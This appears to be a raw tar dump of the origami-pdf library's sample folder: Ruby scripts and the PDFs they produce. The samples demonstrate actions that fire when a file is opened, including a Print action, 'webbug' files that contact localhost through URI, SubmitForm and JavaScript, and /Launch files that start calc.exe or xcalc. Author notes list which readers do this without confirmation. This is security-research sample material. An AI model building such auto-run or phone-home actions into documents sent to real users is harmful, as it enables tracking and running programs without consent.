00000 n 0000318365 00000 n 0000311588 00000 n 0000309529 00000 n 0000318305 00000 n 0000312215 00000 n 0000518676 00000 n 0000542484 00000 n 0000321375 00000 n 0000514387 00000 n 0000514562 00000 n 0000514716 00000 n 0000514858 00000 n 0000515012 00000 n 0000515166 00000 n 0000515319 00000 n 0000515473 00000 n 0000515627 00000 n 0000515781 00000 n 0000515935 00000 n 0000516089 00000 n 0000516243 00000 n 0000516396 00000 n 0000516550 00000 n 0000516704 00000 n 0000516857 00000 n 0000517010 00000 n 0000517163 00000 n 0000517303 00000 n 0000517441 00000 n 0000517583 00000 n 0000517739 00000 n 0000517895 00000 n 0000518052 00000 n 0000518209 00000 n 0000518367 00000 n 0000518525 00000 n 0000518796 00000 n 0000320999 00000 n 0000318632 00000 n 0000518736 00000 n 0000754858 00000 n 0000525862 00000 n 0000521573 00000 n 0000521748 00000 n 0000521902 00000 n 0000522044 00000 n 0000522198 00000 n 0000522352 00000 n 0000522505 00000 n 0000522659 00000 n 0000522813 00000 n 0000522967 00000 n 0000523121 00000 n 0000523275 00000 n 0000523429 00000 n 0000523582 00000 n 0000523736 00000 n 0000523890 00000 n 0000524043 00000 n 0000524196 00000 n 0000524349 00000 n 0000524489 00000 n 0000524627 00000 n 0000524769 00000 n 0000524925 00000 n 0000525081 00000 n 0000525238 00000 n 0000525395 00000 n 0000525553 00000 n 0000525711 00000 n 0000525982 00000 n 0000521197 00000 n 0000519092 00000 n 0000525922 00000 n 0000534683 00000 n 0000530394 00000 n 0000530569 00000 n 0000530723 00000 n 0000530865 00000 n 0000531019 00000 n 0000531173 00000 n 0000531326 00000 n 0000531480 00000 n 0000531634 00000 n 0000531788 00000 n 0000531942 00000 n 0000532096 00000 n 0000532250 00000 n 0000532403 00000 n 0000532557 00000 n 0000532711 00000 n 0000532864 00000 n 0000533017 00000 n 0000533170 00000 n 0000533310 00000 n 0000533448 00000 n 0000533590 00000 n 0000533746 00000 n 0000533902 00000 n 0000534059 00000 n 0000534216 00000 n 0000534374 00000 n 0000534532 00000 n 0000534803 00000 n 0000530018 00000 n 0000526234 00000 n 0000754334 00000 n 0000753900 00000 n 0000752443 00000 n 0000534743 00000 n 0000538195 00000 n 0000538370 00000 n 0000538524 00000 n 0000538666 00000 n 0000538820 00000 n 0000538974 00000 n 0000539127 00000 n 0000539281 00000 n 0000539435 00000 n 0000539589 00000 n 0000539743 00000 n 0000539897 00000 n 0000540051 00000 n 0000540204 00000 n 0000540358 00000 n 0000540512 00000 n 0000540665 00000 n 0000540818 00000 n 0000540971 00000 n 0000541111 00000 n 0000541249 00000 n 0000541391 00000 n 0000541547 00000 n 0000541703 00000 n 0000541860 00000 n 0000542017 00000 n 0000542175 00000 n 0000542333 00000 n 0000542604 00000 n 0000537819 00000 n 0000535145 00000 n 0000754044 00000 n 0000542544 00000 n 0000549535 00000 n 0000549690 00000 n 0000549846 00000 n 0000550003 00000 n 0000550160 00000 n 0000550315 00000 n 0000545397 00000 n 0000545572 00000 n 0000545726 00000 n 0000545868 00000 n 0000546022 00000 n 0000546176 00000 n 0000546329 00000 n 0000546483 00000 n 0000546637 00000 n 0000546791 00000 n 0000546945 00000 n 0000547099 00000 n 0000547253 00000 n 0000547406 00000 n 0000547560 00000 n 0000547714 00000 n 0000547867 00000 n 0000548020 00000 n 0000548173 00000 n 0000548313 00000 n 0000548451 00000 n 0000548593 00000 n 0000548749 00000 n 0000548905 00000 n 0000549062 00000 n 0000549219 00000 n 0000549377 00000 n 0000550469 00000 n 0000550800 00000 n 0000544973 00000 n 0000542918 00000 n 0000550740 00000 n 0000559281 00000 n 0000554026 00000 n 0000554992 00000 n 0000555167 00000 n 0000555321 00000 n 0000555463 00000 n 0000555617 00000 n 0000555771 00000 n 0000555924 00000 n 0000556078 00000 n 0000556232 00000 n 0000556386 00000 n 0000556540 00000 n 0000556694 00000 n 0000556848 00000 n 0000557001 00000 n 0000557155 00000 n 0000557309 00000 n 0000557462 00000 n 0000557615 00000 n 0000557768 00000 n 0000557908 00000 n 0000558046 00000 n 0000558188 00000 n 0000558344 00000 n 0000558500 00000 n 0000558657 00000 n 0000558814 00000 n 0000558972 00000 n 0000559130 00000 n 0000559401 00000 n 0000553650 00000 n 0000551067 00000 n 0000754479 00000 n 0000559341 00000 n 0000554229 00000 n 0000566945 00000 n 0000562656 00000 n 0000562831 00000 n 0000562985 00000 n 0000563127 00000 n 0000563281 00000 n 0000563435 00000 n 0000563588 00000 n 0000563742 00000 n 0000563896 00000 n 0000564050 00000 n 0000564204 00000 n 0000564358 00000 n 0000564512 00000 n 0000564665 00000 n 0000564819 00000 n 0000564973 00000 n 0000565126 00000 n 0000565279 00000 n 0000565432 00000 n 0000565572 00000 n 0000565710 00000 n 0000565852 00000 n 0000566008 00000 n 0000566164 00000 n 0000566321 00000 n 0000566478 00000 n 0000566636 00000 n 0000566794 00000 n 0000567065 00000 n 0000562280 00000 n 0000559729 00000 n 0000567005 00000 n 0000754976 00000 n 0000574497 00000 n 0000574681 00000 n 0000570359 00000 n 0000570534 00000 n 0000570688 00000 n 0000570830 00000 n 0000570984 00000 n 0000571138 00000 n 0000571291 00000 n 0000571445 00000 n 0000571599 00000 n 0000571753 00000 n 0000571907 00000 n 0000572061 00000 n 0000572215 00000 n 0000572368 00000 n 0000572522 00000 n 0000572676 00000 n 0000572829 00000 n 0000572982 00000 n 0000573135 00000 n 0000573275 00000 n 0000573413 00000 n 0000573555 00000 n 0000573711 00000 n 0000573867 00000 n 0000574024 00000 n 0000574181 00000 n 0000574339 00000 n 0000574881 00000 n 0000575152 00000 n 0000569967 00000 n 0000567379 00000 n 0000575092 00000 n 0000582053 00000 n 0000582209 00000 n 0000582365 00000 n 0000582521 00000 n 0000582677 00000 n 0000582831 00000 n 0000577915 00000 n 0000578090 00000 n 0000578244 00000 n 0000578386 00000 n 0000578540 00000 n 0000578694 00000 n 0000578847 00000 n 0000579001 00000 n 0000579155 00000 n 0000579309 00000 n 0000579463 00000 n 0000579617 00000 n 0000579771 00000 n 0000579924 00000 n 0000580078 00000 n 0000580232 00000 n 0000580385 00000 n 0000580538 00000 n 0000580691 00000 n 0000580831 00000 n 0000580969 00000 n 0000581111 00000 n 0000581267 00000 n 0000581423 00000 n 0000581580 00000 n 0000581737 00000 n 0000581895 00000 n 0000582986 00000 n 0000583317 00000 n 0000577491 00000 n 0000575467 00000 n 0000583257 00000 n 0000591371 00000 n 0000607749 00000 n 0000590222 00000 n 0000590378 00000 n 0000590534 00000 n 0000590690 00000 n 0000590847 00000 n 0000591002 00000 n 0000586057 00000 n 0000586233 00000 n 0000586388 00000 n 0000586531 00000 n 0000586686 00000 n 0000586841 00000 n 0000586995 00000 n 0000587150 00000 n 0000587305 00000 n 0000587460 00000 n 0000587615 00000 n 0000587770 00000 n 0000587925 00000 n 0000588079 00000 n 0000588234 00000 n 0000588389 00000 n 0000588543 00000 n 0000588697 00000 n 0000588851 00000 n 0000588992 00000 n 0000589131 00000 n 0000589274 00000 n 0000589431 00000 n 0000589588 00000 n 0000589746 00000 n 0000589904 00000 n 0000590063 00000 n 0000591158 00000 n 0000591494 00000 n 0000585599 00000 n 0000583570 00000 n 0000591432 00000 n 0000599478 00000 n 0000595161 00000 n 0000595337 00000 n 0000595492 00000 n 0000595635 00000 n 0000595790 00000 n 0000595945 00000 n 0000596099 00000 n 0000596254 00000 n 0000596409 00000 n 0000596564 00000 n 0000596719 00000 n 0000596874 00000 n 0000597029 00000 n 0000597183 00000 n 0000597338 00000 n 0000597493 00000 n 0000597647 00000 n 0000597801 00000 n 0000597955 00000 n 0000598096 00000 n 0000598235 00000 n 0000598378 00000 n 0000598535 00000 n 0000598692 00000 n 0000598850 00000 n 0000599008 00000 n 0000599167 00000 n 0000599326 00000 n 0000599602 00000 n 0000594754 00000 n 0000591762 00000 n 0000599540 00000 n 0000606597 00000 n 0000606754 00000 n 0000606911 00000 n 0000607068 00000 n 0000607225 00000 n 0000607380 00000 n 0000602432 00000 n 0000602608 00000 n 0000602763 00000 n 0000602906 00000 n 0000603061 00000 n 0000603216 00000 n 0000603370 00000 n 0000603525 00000 n 0000603680 00000 n 0000603835 00000 n 0000603990 00000 n 0000604145 00000 n 0000604300 00000 n 0000604454 00000 n 0000604609 00000 n 0000604764 00000 n 0000604918 00000 n 0000605072 00000 n 0000605226 00000 n 0000605367 00000 n 0000605506 00000 n 0000605649 00000 n 0000605806 00000 n 0000605963 00000 n 0000606121 00000 n 0000606279 00000 n 0000606438 00000 n 0000607536 00000 n 0000607872 00000 n 0000601971 00000 n 0000599944 00000 n 0000607810 00000 n 0000615515 00000 n 0000611198 00000 n 0000611374 00000 n 0000611529 00000 n 0000611672 00000 n 0000611827 00000 n 0000611982 00000 n 0000612136 00000 n 0000612291 00000 n 0000612446 00000 n 0000612601 00000 n 0000612756 00000 n 0000612911 00000 n 0000613066 00000 n 0000613220 00000 n 0000613375 00000 n 0000613530 00000 n 0000613684 00000 n 0000613838 00000 n 0000613992 00000 n 0000614133 00000 n 0000614272 00000 n 0000614415 00000 n 0000614572 00000 n 0000614729 00000 n 0000614887 00000 n 0000615045 00000 n 0000615204 00000 n 0000615363 00000 n 0000615639 00000 n 0000610790 00000 n 0000608140 00000 n 0000615577 00000 n 0000755097 00000 n 0000623667 00000 n 0000619350 00000 n 0000619526 00000 n 0000619681 00000 n 0000619824 00000 n 0000619979 00000 n 0000620134 00000 n 0000620288 00000 n 0000620443 00000 n 0000620598 00000 n 0000620753 00000 n 0000620908 00000 n 0000621063 00000 n 0000621218 00000 n 0000621372 00000 n 0000621527 00000 n 0000621682 00000 n 0000621836 00000 n 0000621990 00000 n 0000622144 00000 n 0000622285 00000 n 0000622424 00000 n 0000622567 00000 n 0000622724 00000 n 0000622881 00000 n 0000623039 00000 n 0000623197 00000 n 0000623356 00000 n 0000623515 00000 n 0000623791 00000 n 0000618942 00000 n 0000615941 00000 n 0000623729 00000 n 0000631910 00000 n 0000627593 00000 n 0000627769 00000 n 0000627924 00000 n 0000628067 00000 n 0000628222 00000 n 0000628377 00000 n 0000628531 00000 n 0000628686 00000 n 0000628841 00000 n 0000628996 00000 n 0000629151 00000 n 0000629306 00000 n 0000629461 00000 n 0000629615 00000 n 0000629770 00000 n 0000629925 00000 n 0000630079 00000 n 0000630233 00000 n 0000630387 00000 n 0000630528 00000 n 0000630667 00000 n 0000630810 00000 n 0000630967 00000 n 0000631124 00000 n 0000631282 00000 n 0000631440 00000 n 0000631599 00000 n 0000631758 00000 n 0000632034 00000 n 0000627185 00000 n 0000624106 00000 n 0000752295 00000 n 0000631972 00000 n 0000635173 00000 n 0000644121 00000 n 0000644297 00000 n 0000644452 00000 n 0000644595 00000 n 0000644750 00000 n 0000644905 00000 n 0000645059 00000 n 0000645214 00000 n 0000645369 00000 n 0000645524 00000 n 0000645679 00000 n 0000645834 00000 n 0000645989 00000 n 0000646143 00000 n 0000646298 00000 n 0000646453 00000 n 0000646607 00000 n 0000646761 00000 n 0000646915 00000 n 0000647056 00000 n 0000647195 00000 n 0000647338 00000 n 0000647495 00000 n 0000647652 00000 n 0000647810 00000 n 0000647968 00000 n 0000648127 00000 n 0000648286 00000 n 0000648561 00000 n 0000634765 00000 n 0000632276 00000 n 0000648499 00000 n 0000648927 00000 n 0000649311 00000 n 0000649647 00000 n 0000649674 00000 n 0000649700 00000 n 0000649726 00000 n 0000650298 00000 n 0000650806 00000 n 0000651403 00000 n 0000651747 00000 n 0000652061 00000 n 0000652722 00000 n 0000653364 00000 n 0000653802 00000 n 0000654458 00000 n 0000654907 00000 n 0000655593 00000 n 0000661567 00000 n 0000661906 00000 n 0000663564 00000 n 0000663789 00000 n 0000674017 00000 n 0000674541 00000 n 0000681988 00000 n 0000682382 00000 n 0000691503 00000 n 0000691983 00000 n 0000698200 00000 n 0000698553 00000 n 0000708437 00000 n 0000708849 00000 n 0000714110 00000 n 0000714407 00000 n 0000717571 00000 n 0000717820 00000 n 0000721103 00000 n 0000721359 00000 n 0000723335 00000 n 0000723609 00000 n 0000724934 00000 n 0000725168 00000 n 0000726514 00000 n 0000726749 00000 n 0000737048 00000 n 0000737446 00000 n 0000746760 00000 n 0000747159 00000 n 0000752030 00000 n 0000755204 00000 n 0000755299 00000 n 0000756073 00000 n 0000756275 00000 n 0000756486 00000 n 0000756696 00000 n 0000756907 00000 n 0000757107 00000 n 0000757316 00000 n 0000757500 00000 n 0000757671 00000 n 0000757843 00000 n 0000758015 00000 n 0000758161 00000 n 0000758287 00000 n 0000758401 00000 n 0000758482 00000 n 0000758522 00000 n 0000758653 00000 n trailer << /Size 1307 /Root 1305 0 R /Info 1306 0 R /ID [ ] >> startxref 759040 %%EOF origami-pdf-1.2.7/samples/actions/named/0000755000175000017500000000000012427006355020325 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/actions/named/named.rb0000755000175000017500000000112612122110015021716 0ustar terceiroterceiro#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" pdf = PDF.new page = Page.new contents = ContentStream.new contents.write OUTPUTFILE, :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 page.Contents = contents pdf.append_page(page) pdf.onDocumentOpen Action::Named::PRINT pdf.save(OUTPUTFILE) puts "PDF file saved as #{OUTPUTFILE}." origami-pdf-1.2.7/samples/actions/named/named.pdf0000644000175000017500000000130212122110015022055 0ustar terceiroterceiro%PDF-1.1 1 0 obj << /Pages 2 0 R /OpenAction << /N /Print /S /Named >> /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /Contents 4 0 R /Parent 2 0 R /Resources << /Font << /F1 << /Type /Font /Subtype /Type1 /BaseFont /Helvetica /Name /F1 >> >> >> /Type /Page /MediaBox [ 0 0 795 842 ] >> endobj 4 0 obj << /Length 53 >>stream BT /F1 30 Tf 350 750 Td 20 TL 1 Tr (named.pdf) Tj ET endstream endobj xref 0 5 0000000000 65535 f 0000000010 00000 n 0000000115 00000 n 0000000184 00000 n 0000000421 00000 n trailer << /Root 1 0 R /Size 5 >> startxref 531 %%EOF origami-pdf-1.2.7/samples/actions/webbug/0000755000175000017500000000000012427006355020514 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/actions/webbug/submitform.js0000755000175000017500000000056511541257434023254 0ustar terceiroterceirotry { app.alert("First, I try to launch your browser :)"); app.launchURL("http://localhost/webbug-browser.html"); } catch(e) { } try { app.alert("Now I try to connect to the website, through your Reader"); this.submitForm( { cURL: "http://localhost/webbug-reader.php", bAnnotations: true, bGet: true, cSubmitAs: "XML" }); } catch(e) { } origami-pdf-1.2.7/samples/actions/webbug/webbug-js.pdf0000644000175000017500000000305712122110015023056 0ustar terceiroterceiro%PDF-1.3 1 0 obj << /Pages 2 0 R /Names << /JavaScript 5 0 R >> /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /Contents 4 0 R /Parent 2 0 R /Resources << /Font << /F1 << /Type /Font /Subtype /Type1 /BaseFont /Helvetica /Name /F1 >> >> >> /Type /Page /MediaBox [ 0 0 795 842 ] >> endobj 4 0 obj << /Filter /FlateDecode /Length 435 >>stream xڥR0+ލEjK%7BhL/mN=c'!Q9⃝g{y]NVɖd&7=EwZ[So$a(B~XƒV(RTz૸JQu֏ x FpCj-3~΢wdW O OtMAav;gRe);]4S`Յ#'3<3F\Q}BUS9ʪ G*­ |uMTI0t֍aBDky gVVtl:EI.\=m;åb %͹Xo'wN]8,1;cZB8psF=d%_> endobj 6 0 obj << /JS 7 0 R /S /JavaScript >> endobj 7 0 obj << /Filter /FlateDecode /Length 232 >>stream xuOk0 §䞝zt;v=Q+2!|9i``a==$> startxref 1347 %%EOF origami-pdf-1.2.7/samples/actions/webbug/webbug-browser.pdf0000644000175000017500000000303412122110015024120 0ustar terceiroterceiro%PDF-1.1 1 0 obj << /Pages 2 0 R /OpenAction << /URI (http://localhost/webbug-browser.html) /IsMap false /S /URI >> /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /Contents 4 0 R /Parent 2 0 R /Resources << /Font << /F1 << /Type /Font /Subtype /Type1 /BaseFont /Helvetica /Name /F1 >> >> >> /Type /Page /MediaBox [ 0 0 795 842 ] >> endobj 4 0 obj << /Length 861 >>stream BT /F1 30 Tf 270 750 Td 20 TL 1 Tr (webbug-browser.pdf) Tj ET BT /F1 15 Tf 156 690 Td 0 Tr (When opened, this PDF connects to "home") Tj ET BT /F1 12 Tf 156 670 Td (Click "Allow":) Tj ET BT 156 650 Td ( 1. Starts your default browser) Tj ET BT 156 630 Td ( 1. Connects to http://localhost/webbug-browser.html) Tj ET BT /F1 14 Tf 75 580 Td 2 Tr (Comments:) Tj ET BT /F1 12 Tf 75 560 Td 0 Tr (Windows:) Tj ( - Foxit : opens the default browser without any user confirmation \(!\)) ' ( - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Internet Explorer is connected.) ' () ' () ' (Mac:) ' ( - Preview: nothing happens) ' ( - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Safari is connected) ' () ' (Linux:) ' ( - poppler: nothing happens) ' ( - Acrobat Reader [7, 8]: a pop-up spreads asking if it can connect) ' ET endstream endobj xref 0 5 0000000000 65535 f 0000000010 00000 n 0000000163 00000 n 0000000232 00000 n 0000000469 00000 n trailer << /Root 1 0 R /Size 5 >> startxref 1388 %%EOF origami-pdf-1.2.7/samples/actions/webbug/webbug-browser.rb0000755000175000017500000000320112122110015023751 0ustar terceiroterceiro#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-browser.pdf" puts "Now generating a new bugged PDF file from scratch!" URL = "http://localhost/webbug-browser.html" pdf = PDF.new contents = ContentStream.new contents.write "webbug-browser.pdf", :x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 contents.write "When opened, this PDF connects to \"home\"", :x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15 contents.write "Click \"Allow\":", :x => 156, :y => 670, :size => 12 contents.write " 1. Starts your default browser", :x => 156, :y => 650, :size => 12 contents.write " 1. Connects to #{URL}", :x => 156, :y => 630, :size => 12 contents.write "Comments:", :x => 75, :y => 580, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14 content = <<-EOS Windows: - Foxit : opens the default browser without any user confirmation (!) - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Internet Explorer is connected. Mac: - Preview: nothing happens - Acrobat Reader 8: a pop-up spreads asking if it can connect, then Safari is connected Linux: - poppler: nothing happens - Acrobat Reader [7, 8]: a pop-up spreads asking if it can connect EOS contents.write content, :x => 75, :y => 560, :rendering => Text::Rendering::FILL page = Page.new.setContents( contents ) pdf.append_page(page) # Starting action pdf.onDocumentOpen Action::URI[URL] pdf.save(OUTPUTFILE) puts "PDF file saved as #{OUTPUTFILE}." origami-pdf-1.2.7/samples/actions/webbug/webbug-js.rb0000755000175000017500000000403212122110015022705 0ustar terceiroterceiro#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-js.pdf" JSCRIPTFILE = "submitform.js" puts "Now generating a new PDF file from scratch!" contents = ContentStream.new.setFilter(:FlateDecode) contents.write OUTPUTFILE, :x => 300, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 contents.write "This PDF tries to connect through JavaScript calls :-D", :x => 186, :y => 690, :rendering => Text::Rendering::FILL, :size => 15 contents.write "The script first tries to run your browser, then it connects with the Reader.", :x => 186, :y => 670, :size => 15 contents.write "Comments:", :x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14 content = <<-EOS Windows: - Acrobat Reader 8: Same behavior as with webbug-browser.pdf and webbug-reader.pdf. - Foxit: Same behavior as with webbug-browser.pdf and webbug-reader.pdf, at the difference a popup appears to ask for user confirmation before launching the browser. However the reader still connects to the site without confirmation, as with webbug-reader.pdf Mac: Linux: - Acrobat Reader 8: same behavior as Windows version. - poppler-based viewers: not interpreting JavaScript : nothing happens. EOS contents.write content, :x => 75, :y => 600, :rendering => Text::Rendering::FILL # A JS script to execute at the opening of the document jscript = File.open(JSCRIPTFILE).read pdf = PDF.new page = Page.new page.Contents = contents pdf.append_page(page) # Create a new action based on the script, compressed with zlib jsaction = Action::JavaScript Stream.new(jscript,:Filter => :FlateDecode) # Add the script into the document names dictionary. Any scripts registered here will be executed at the document opening (with no OpenAction implied). pdf.register(Names::Root::JAVASCRIPT, "Update", jsaction) # Save the resulting file pdf.save(OUTPUTFILE) puts "PDF file saved as #{OUTPUTFILE}." origami-pdf-1.2.7/samples/actions/webbug/webbug-reader.rb0000755000175000017500000000513212122110015023535 0ustar terceiroterceiro#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-reader.pdf" URL = "http://localhost/webbug-reader.php" puts "Now generating a new bugged PDF file from scratch!" pdf = PDF.new contents = ContentStream.new contents.write "webbug-reader.pdf", :x => 270, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 contents.write "When opened, this PDF connects to \"home\"", :x => 156, :y => 690, :rendering => Text::Rendering::FILL, :size => 15 contents.write "Click \"Allow\" to connect to #{URL} through your current Reader.", :x => 156, :y => 670, :size => 12 contents.write "Comments:", :x => 75, :y => 600, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14 content = <<-EOS 1. Open this pdf document (webbug-reader.pdf) 2. The Reader connects to ${url} 3. The web server returns the requested page: 4. The Reader receives \"calc.pdf\" which is immediatly rendered 5. A pop-up ask if it can execute the calc... Note: The URL where the Reader tries to connect is displayed Windows: - Foxit : Nothing happens. - Acrobat Reader 8: a popup appears for the user to allow the connection, then the connection is made and a new window is opened with the 2nd document Mac: - Preview: nothing happens - Acrobat Reader 8: a popup appears for the user to allow the connection, then the connection is made and a new window is opened with the 2nd document Linux: - poppler: /SubmitForm is not supported - Acrobat Reader 8: a popup appears for the user to allow the connection, then the connection is made and a the document window is replaced with the 2nd document Note: The 2 documents can be seen in the\"Window\" menu. - Acrobat Reader 8: a popup appears for the user to allow the connection, then the connection is made and a new window is opened with the 2nd document EOS contents.write content, :x => 75, :y => 580, :rendering => Text::Rendering::FILL, :size => 12 page = Page.new.setContents( contents ) pdf.append_page( page ) # Submit flags. flags = Action::SubmitForm::Flags::EXPORTFORMAT|Action::SubmitForm::Flags::GETMETHOD # Sends the form at the document opening. pdf.onDocumentOpen Action::SubmitForm[URL, [], flags] # Comments: # - any port can be specified http://url:1234 # - does not follow the Redirect answers # Save the resulting file. pdf.save(OUTPUTFILE) puts "PDF file saved as #{OUTPUTFILE}." origami-pdf-1.2.7/samples/actions/webbug/webbug-reader.pdf0000644000175000017500000000462112122110015023702 0ustar terceiroterceiro%PDF-1.1 1 0 obj << /Pages 2 0 R /OpenAction << /F << /FS /URL /F (http://localhost/webbug-reader.php) >> /Fields [ ] /Flags 12 /S /SubmitForm >> /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /Contents 4 0 R /Parent 2 0 R /Resources << /Font << /F1 << /Type /Font /Subtype /Type1 /BaseFont /Helvetica /Name /F1 >> >> >> /Type /Page /MediaBox [ 0 0 795 842 ] >> endobj 4 0 obj << /Length 1701 >>stream BT /F1 30 Tf 270 750 Td 20 TL 1 Tr (webbug-reader.pdf) Tj ET BT /F1 15 Tf 156 690 Td 0 Tr (When opened, this PDF connects to "home") Tj ET BT /F1 12 Tf 156 670 Td (Click "Allow" to connect to http://localhost/webbug-reader.php through your current Reader.) Tj ET BT /F1 14 Tf 75 600 Td 2 Tr (Comments:) Tj ET BT /F1 12 Tf 75 580 Td 0 Tr (1. Open this pdf document \(webbug-reader.pdf\)) Tj (2. The Reader connects to ${url}) ' (3. The web server returns the requested page:) ' ( ) ' (4. The Reader receives "calc.pdf" which is immediatly rendered) ' (5. A pop-up ask if it can execute the calc...) ' () ' (Note: The URL where the Reader tries to connect is displayed) ' () ' () ' () ' (Windows:) ' ( - Foxit : Nothing happens.) ' ( - Acrobat Reader 8: a popup appears for the user to allow the connection,) ' ( then the connection is made and a new window is opened with the 2nd document) ' () ' (Mac:) ' ( - Preview: nothing happens) ' ( - Acrobat Reader 8: a popup appears for the user to allow the connection,) ' ( then the connection is made and a new window is opened with the 2nd document) ' () ' (Linux:) ' ( - poppler: /SubmitForm is not supported) ' ( - Acrobat Reader 8: a popup appears for the user to allow the connection,) ' ( then the connection is made and a the document window is replaced with the 2nd document) ' ( Note: The 2 documents can be seen in the"Window" menu.) ' ( - Acrobat Reader 8: a popup appears for the user to allow the connection,) ' ( then the connection is made and a new window is opened with the 2nd document) ' ET endstream endobj xref 0 5 0000000000 65535 f 0000000010 00000 n 0000000207 00000 n 0000000276 00000 n 0000000513 00000 n trailer << /Root 1 0 R /Size 5 >> startxref 2273 %%EOF origami-pdf-1.2.7/samples/actions/launch/0000755000175000017500000000000012427006355020513 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/actions/launch/calc.pdf0000644000175000017500000000376211634137112022113 0ustar terceiroterceiro%PDF-1.1 1 0 obj << /OpenAction << /F << /Mac (/Applications/Calculator.app) /DOS (C:\\\\WINDOWS\\\\system32\\\\calc.exe) /Unix (/usr/bin/xcalc) >> /S /Launch >> /Pages 2 0 R /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /MediaBox [ 0 0 795 842 ] /Parent 2 0 R /Contents 4 0 R /Resources << /Font << /F1 << /Name /F1 /BaseFont /Helvetica /Subtype /Type1 /Type /Font >> >> >> /Type /Page >> endobj 4 0 obj << /Length 1259 >>stream BT /F1 30 Tf 350 750 Td 20 TL 1 Tr (calc.pdf) Tj ET BT /F1 15 Tf 233 690 Td 0 Tr 0.0 0.588235294117647 0.0 rg (This page is empty but it should start calc :-D) Tj ET BT 233 670 Td 0.0 g (Dont be afraid of the pop-ups, just click them...) Tj ET BT /F1 14 Tf 75 620 Td 2 Tr (Comments:) Tj ET BT /F1 12 Tf 75 600 Td 0 Tr (Windows:) Tj ( - Foxit 2: runs calc.exe at the document opening without any user confirmation message \(!\) ) ' ( - Acrobat Reader *:) ' ( 1. popup proposing to open "calc.exe" \(warning\)) ' ( 2. starts "calc.exe") ' () ' (Mac:) ' ( - Preview does not support PDF keyword /Launch) ' ( - Acrobat Reader 8.1.2: starts Calculator.app) ' () ' (Linux:) ' ( ! Assumes xcalc is in /usr/bin/xcalc) ' ( - poppler: does not support PDF keyword /Launch) ' ( - Acrobat Reader 7: ) ' ( 1. popup telling it can not open "xcalc" \(dumb reasons\)) ' ( 2. popup proposing to open "xcalc" \(warning\)) ' ( 3. starts "xcalc") ' ( - Acrobat Reader 8.1.2: based on xdg-open) ' ( - if you are running KDE, Gnome or xfce, xcalc is started after a popup) ' ( - otherwise, your brower is started and tries to download "xcalc") ' () ' (Note:) ' (For Linux and Mac, no argument can be given to the command...) ' ET endstream endobj xref 0 5 0000000000 65535 f 0000000010 00000 n 0000000234 00000 n 0000000303 00000 n 0000000540 00000 n trailer << /Root 1 0 R /Size 5 >> startxref 1858 %%EOF origami-pdf-1.2.7/samples/actions/launch/calc.rb0000755000175000017500000000472311645333134021752 0ustar terceiroterceiro#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Generating a pdf launching calc on several OS!!" pdf = PDF.new #Reader7.0 #A popup firstly says it cannot open the specified file. Then the #file is opened once the "Open" button is clicked... # Reader8.0 #It "opens" the file, but does not execute it. By default, it seems # it is passed to the default browser. # Only local files can be opened this way. #If the file does not exist, it displays the content of the current # directory cmd = FileSpec.new cmd.Unix = "/usr/bin/xcalc" cmd.Mac = "/Applications/Calculator.app" cmd.DOS = "C:\\\\WINDOWS\\\\system32\\\\calc.exe" action = Action::Launch.new action.F = cmd pdf.onDocumentOpen( action ) contents = ContentStream.new contents.write OUTPUTFILE, :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 contents.write "This page is empty but it should start calc :-D", :x => 233, :y => 690, :rendering => Text::Rendering::FILL, :size => 15, :color => Graphics::Color::RGB.new(0, 150, 0) contents.write "Dont be afraid of the pop-ups, just click them...", :x => 233, :y => 670, :size => 15 contents.write "Comments:", :x => 75, :y => 620, :rendering => Text::Rendering::FILL_AND_STROKE, :size => 14 content = <<-EOS Windows: - Foxit 2: runs calc.exe at the document opening without any user confirmation message (!) - Acrobat Reader *: 1. popup proposing to open \"calc.exe\" (warning) 2. starts \"calc.exe\" Mac: - Preview does not support PDF keyword /Launch - Acrobat Reader 8.1.2: starts Calculator.app Linux: ! Assumes xcalc is in /usr/bin/xcalc - poppler: does not support PDF keyword /Launch - Acrobat Reader 7: 1. popup telling it can not open \"xcalc\" (dumb reasons) 2. popup proposing to open \"xcalc\" (warning) 3. starts \"xcalc\" - Acrobat Reader 8.1.2: based on xdg-open - if you are running KDE, Gnome or xfce, xcalc is started after a popup - otherwise, your brower is 